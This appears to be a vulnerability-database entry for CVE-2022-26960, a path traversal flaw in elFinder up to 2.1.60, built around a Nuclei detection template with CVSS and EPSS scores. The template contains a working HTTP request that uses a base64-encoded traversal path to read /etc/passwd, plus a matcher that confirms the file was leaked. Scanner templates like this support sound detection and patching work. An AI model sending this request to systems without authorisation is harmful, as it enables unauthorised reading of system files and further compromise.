9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.2 High
AI Score
Confidence
High
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
0.859 High
EPSS
Percentile
98.5%
elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
id: CVE-2022-26960
info:
name: elFinder <=2.1.60 - Local File Inclusion
author: pikpikcu
severity: critical
description: |
elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
remediation: |
Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
reference:
- https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
- https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
- https://www.synacktiv.com/publications.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-26960
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2022-26960
cwe-id: CWE-22
epss-score: 0.85922
epss-percentile: 0.98481
cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: std42
product: elfinder
tags: cve2022,cve,lfi,elfinder,std42
http:
- raw:
- |
GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100b51a2dee0a9598c7c1f521f9373c5bb35728dda0693010a4db82ab044f7124d4022006a5200a4741c2b9c8d1102b86fd448d48abe1e0af4e543f0ea00920ed47e9ee:922c64590222798bb761d5b6d8e72950
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.2 High
AI Score
Confidence
High
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
0.859 High
EPSS
Percentile
98.5%